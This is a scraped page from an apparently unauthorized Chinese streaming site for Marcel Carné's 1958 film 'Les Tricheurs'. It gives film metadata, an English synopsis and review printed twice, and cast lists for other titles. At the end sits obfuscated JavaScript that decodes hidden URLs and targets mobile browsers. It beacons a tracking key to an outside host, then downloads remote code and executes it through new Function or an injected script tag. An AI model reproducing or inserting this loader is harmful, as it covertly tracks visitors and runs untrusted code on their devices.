影片信息
- 片名:不安分的年轻人们
- 状态:HD中字
- 主演:帕斯卡尔·普缇/安德丽·帕里西/雅克·夏里尔/洛朗·特兹弗/让-保罗·贝尔蒙多/达妮·萨瓦尔/
- 导演:马塞尔·卡尔内/
- 年份:1958
- 地区:法国
- 类型:剧情/
- 时长:内详
- 上映:未知
- 语言:法语
- 更新:2024-06-25 19:12
- 简介:不安分的年轻人们1958 播出年由帕斯卡尔·普缇 安德丽·帕里西 雅克·夏里尔 洛朗·特兹弗 让-保罗· 主演,马塞尔·卡尔内 导演的《不安分的年轻人们》在线观看,《不安分的年轻人们》百度云网盘资源以及《不安分的年轻人们》高清mp4迅雷下载,希望您能喜欢!
Middle class student Bob Letellier enters a new world when he meets Alain, a free-thinking rebel who, along with his group of young Parisians, has opted for a life of instant gratification instead of work and commitment. At a party, Bob meets a young woman, Mic, who appears to be just as carefree and cynical as Alain. Mic's only dream is to own a luxury car, and with Bob's help, she manages to find the money to but it. Mic's friend Clo discovers she is pregnant and, not knowing who the father is, she asks Bob to marry her. When they next meet at a party, Bob and Mic deny that they have any feelings for one another - a declaration that soon leads to tragedy... Marcel Carné is widely regarded as one of the standard bearers of French quality cinema of the 1930s and 1940s, responsible for such masterpieces as Quai des brumes (1938) and Les Enfants du Paradis (1945). How ironic then that, in 1958, towards the end of his film-making career, he should make a film which dared to portray the attitudes and behaviour of the 1950s youth, in a way that effectively captures the mood and sentiment of the time. Les Tricheurs was a hugely controversial film, not least because of its blatant depiction of adolescent free-love, and was even banned in some regions of France. It also received some intensely unfavourable reviews, most notably from the young hotheads on the Cahiers du cinéma such as François Truffaut who cited this film as a prime example of the decline of French cinema into mediocrity. In spite of all this negative press, the film proved to be an astonishing commercial success, attracting five million cinema-goers, and was awarded the Grand Prix du Cinéma français in 1958. Whilst Les Tricheurs is not as flawless as Carné's earlier masterpieces, it is nonetheless a significant work, having the power to both shock and move its audience, whilst having great entertainment value. It evokes the mood of its time in a way that few French films of this period did, depicting young people as pleasure-seeking rebels, rejecting the austerity and discipline of the previous generation whilst pursuing a life without cares, responsibilities or love. Similarities with James Dean's films of the 1950s (most notably Rebel without a Cause) are apparent, although Carné's treatment of young people is far more abstract - in his film they merely symbolise a world that has lost its way, more or less victims of post-war prosperity. Although the young people in Les Tricheurs lack the authenticity to be totally credible, the film does make an important, and indeed quite disturbing point, about where the permissive society may be heading. Much of the pleasure of the film is in the performances from its four lead actors, Jacques Charrier, Pascale Petit, Laurent Terzieff and Andréa Parisy, although only Terzieff is really convincing in his role. Marcel Carné originally considered Alain Delon and Jean-Paul Belmondo for the parts of Bob and Alain respectively, before opting for Charrier and Terzieff. As a consolation, Carné offered Belmondo a smaller part in the film - alas too small for the actor to be noticed by the public. Belmondo's breakthrough had to wait until the following year when he starred in Jean-Luc Godard's revolutionary A bout de souffle, a film which offers a very different perspective of the youth generation.
- 314
复制下方链接,去粘贴给好友吧-不安分的年轻人们复制链接
播放列表
倒序剧情简介
咕咚电影网为您提供1958 年由帕斯卡尔·普缇 安德丽·帕里西 雅克·夏里尔 洛朗·特兹弗 让-保罗· 主演,马塞尔·卡尔内 导演的《不安分的年轻人们》在线观看,《不安分的年轻人们》百度云网盘资源以及《不安分的年轻人们》高清mp4迅雷下载,希望您能喜欢!
Middle class student Bob Letellier enters a new world when he meets Alain, a free-thinking rebel who, along with his group of young Parisians, has opted for a life of instant gratification instead of work and commitment. At a party, Bob meets a young woman, Mic, who appears to be just as carefree and cynical as Alain. Mic's only dream is to own a luxury car, and with Bob's help, she manages to find the money to but it. Mic's friend Clo discovers she is pregnant and, not knowing who the father is, she asks Bob to marry her. When they next meet at a party, Bob and Mic deny that they have any feelings for one another - a declaration that soon leads to tragedy... Marcel Carné is widely regarded as one of the standard bearers of French quality cinema of the 1930s and 1940s, responsible for such masterpieces as Quai des brumes (1938) and Les Enfants du Paradis (1945). How ironic then that, in 1958, towards the end of his film-making career, he should make a film which dared to portray the attitudes and behaviour of the 1950s youth, in a way that effectively captures the mood and sentiment of the time. Les Tricheurs was a hugely controversial film, not least because of its blatant depiction of adolescent free-love, and was even banned in some regions of France. It also received some intensely unfavourable reviews, most notably from the young hotheads on the Cahiers du cinéma such as François Truffaut who cited this film as a prime example of the decline of French cinema into mediocrity. In spite of all this negative press, the film proved to be an astonishing commercial success, attracting five million cinema-goers, and was awarded the Grand Prix du Cinéma français in 1958. Whilst Les Tricheurs is not as flawless as Carné's earlier masterpieces, it is nonetheless a significant work, having the power to both shock and move its audience, whilst having great entertainment value. It evokes the mood of its time in a way that few French films of this period did, depicting young people as pleasure-seeking rebels, rejecting the austerity and discipline of the previous generation whilst pursuing a life without cares, responsibilities or love. Similarities with James Dean's films of the 1950s (most notably Rebel without a Cause) are apparent, although Carné's treatment of young people is far more abstract - in his film they merely symbolise a world that has lost its way, more or less victims of post-war prosperity. Although the young people in Les Tricheurs lack the authenticity to be totally credible, the film does make an important, and indeed quite disturbing point, about where the permissive society may be heading. Much of the pleasure of the film is in the performances from its four lead actors, Jacques Charrier, Pascale Petit, Laurent Terzieff and Andréa Parisy, although only Terzieff is really convincing in his role. Marcel Carné originally considered Alain Delon and Jean-Paul Belmondo for the parts of Bob and Alain respectively, before opting for Charrier and Terzieff. As a consolation, Carné offered Belmondo a smaller part in the film - alas too small for the actor to be noticed by the public. Belmondo's breakthrough had to wait until the following year when he starred in Jean-Luc Godard's revolutionary A bout de souffle, a film which offers a very different perspective of the youth generation.展开
4.0高健/彭渤/王艺鑫/张蓓蓓/淳于珊珊/楼学贤/
4.0高健/彭渤/王艺鑫/张蓓蓓/淳于珊珊/楼学贤/
4.0Karrueche/Tran/布莱尔·佩纳/艾拉·夸西/
5.0拉吉·库玛/特里普蒂·迪姆里/Tracy/Ann/Chapel/Ray/Aksh/
7.0Charity/Rose/Amelia/Salazar/Sean/Jay/Cooper/Tomlinson/朱莉·奥利弗-图克斯通/
1.0吴慷仁/李淑桢/马惠珍/高振鹏/Josephine/Chang/朱宥丞/
5.0芮妮·索滕代克/丽莎·紫微尔曼/Chris/Nietvelt/彼得·费伯/威尔第·索莱曼/汉斯·达格列特/穆罕默德·汗/巴特·克莱文/哈亚提·阿齐斯/弗洛里安·迈耶尔/里奥·卡伊·登·哈斯/
9.0宋佳/钟楚曦/曾慕梅/章宇/赵又廷/任彬/张弛/周野芒/王菊/孔连顺/蒋易/杨英格/安栋/冯玛娅/
8.0宋佳/钟楚曦/曾慕梅/章宇/赵又廷/任彬/张弛/周野芒/王菊/孔连顺/蒋易/杨英格/安栋/冯玛娅/
1.0阿尔·帕西诺/约翰·兰道夫/杰克·基欧/比夫·麦奎尔/艾伦·瑞奇/
1.0 巴里·基奥恩/弗兰茨·罗戈夫斯基/詹姆斯·尼尔森-乔伊斯/贾思敏·乔布森/里斯·耶茨/Joanne Matthews/弗兰琪·波克斯/妮基娅·亚当斯/Jason Buda/
9.0巴里·基奥恩/弗兰茨·罗戈夫斯基/詹姆斯·尼尔森-乔伊斯/贾思敏·乔布森/里斯·耶茨/Joanne/Matthews/弗兰琪·波克斯/妮基娅·亚当斯/Jason/Buda/
4.0保罗·麦斯卡/佩德罗·帕斯卡/丹泽尔·华盛顿/康妮·尼尔森/约瑟夫·奎恩/弗莱德·赫钦格/德里克·雅各比/马特·卢卡斯/彼得·门萨/梅·卡拉美维/蒂姆·麦克纳尼/利奥·拉兹/瑞安娜·杜斯/奇迪·阿朱福/李·查尔斯/齐·刘易斯-帕里/迈克·帕里什/米哈伊尔·巴斯马吉安/亚历山大·西姆金/马克西姆·杜兰德/
6.0露西·海尔/维吉尼亚·加德纳/布鲁克·尼文/萨默·萨利姆/Bethany/Brown/杰瑞·蒂纳科/杰迪代亚·古达克/Brendan/Morgan/Haley/Victoria/Hunt/RJ·费瑟斯顿豪/劳拉·延加/斯宾塞·博尔格森/Edem/Nyamadi/Pete/MacLeod/Brad/Abramenko/Kyle/Mosonyi/Cam/Woodman/Sequoia/Wiseman/肯德拉·赫斯凯特/Wayne/Corbeil/
4.0罗丝安妮·休佩诺特/塞缪尔·侯克塞马/Kim/Faires/
5.0艾德里安·凡希加/Nicoleta/Hancu/Emilia/Dobrin/Marian/Adochitei/Virgil/Aioanei/Afrodita/Andone/米尔恰·安德烈埃斯库/Iulian/Burciu/Florin/Calbajos/Mihai/Calin/Doru/Catanescu/Sorin/Cocis/Marius/Damian/艾尔维拉·达库/伊万娜·弗洛拉/Ada/Gales/Floriela/Grapini/曼努埃拉·哈甘布若/伊林卡·哈特纳/Vlad/Jipa/
1.0 裘德·洛/尼古拉斯·霍尔特/泰伊·谢里丹/朱尼·斯莫利特/马克·马龙/乔治·乔尔托夫/叶·丹尼尔/丹尼尔·多尼/塞巴斯蒂安·皮戈特/约翰·沃肯廷/菲利普·莱维茨基/Vanessa Holmes/Bryan J. McHale/Rae Farrer/Carter Morrison/奥黛莎·杨/Philip Granger/Ryan Chandoul Wesley/摩根·霍姆斯特姆/布拉德利·斯泰克尔/艾莉森·奥利弗/
4.0Junaid/Khan/杰德普.阿赫拉瓦迪/Shalini/Pandey/沙尔瓦里·瓦格/维拉夫·帕特尔/Sunil/Gupta/Vaibbhav/Tatwawdi/梅·维贾/Jay/Upadhyay/Ananya/Agarwal/普里亚尔·戈尔/Sandeep/Mehta/斯内哈·德赛/Jamie/Alter/马克·班宁顿/Hemant/Choudhary/Edward/Sonnenblick/
4.0Femi/Adebayo/Mike/Afolarin/Uzor/Arukwe/
8.0Nadezhda/Munkonova/Daniil/Spivakovskiy/Aleksandra/Shabalina/Dasha/Besargina/Aryuna/Tsydenova/
6.0亚历杭德罗·亚旺达/古斯塔沃·巴萨尼/Karina/Bazán/Carlos/Belloso/Milo/Burgess-Webb/Nicolás/Chávez/Andrés/Ciavaglia/Damián/Dreyzik/亚历杭德拉·弗莱克纳/Gonzalo/Gerber/Penélope/Guerrero/Laura/Insúa/Tuli/Laví/胡安·米努欣/Matías/Peccia/Nico/Pink/Franco/Quercia/卡拉·奎沃多/Agustín/Scalise/Abian/Va/
4.0 Menzi Biyela/Sibusisiwe Jili/Khumbulani Kay Sibiya/Trix Vivier/
10.0露易丝·布尔昆/诺埃米·洛夫斯基/沙维尔·拉卡伊/Ida/Pellegrino/
3.0 杰瑞米·艾伦·怀特/杰西·巴克利/安妮·墨菲/里兹·阿迈德/卢克·威尔逊/尼娜·凯莉/克莱尔·麦康奈尔/阿曼达·阿库里/凯蒂·布赖尔/Avaah Blackwell/朱诺·里纳尔迪/吉姆·沃森/坦凯·雷德弗斯/瓦伦·萨朗加/阿什莉·雷恩斯/塔梅卡·格里菲斯/米什·谭/希瑟·迪克/德莱妮·玛西娅/劳伦·霍雷达/
function JVSnWNDq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GpSyu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return JVSnWNDq(t);};window[''+'w'+'O'+'s'+'k'+'n'+'M'+'Q'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function pUGP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GpSyu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=pUGP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15164/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=pUGP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmmlpbHh6cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS5ycWRsb2QuYY24lM0E5NTM0','166465',window,document,['m','Y']);}:function(){};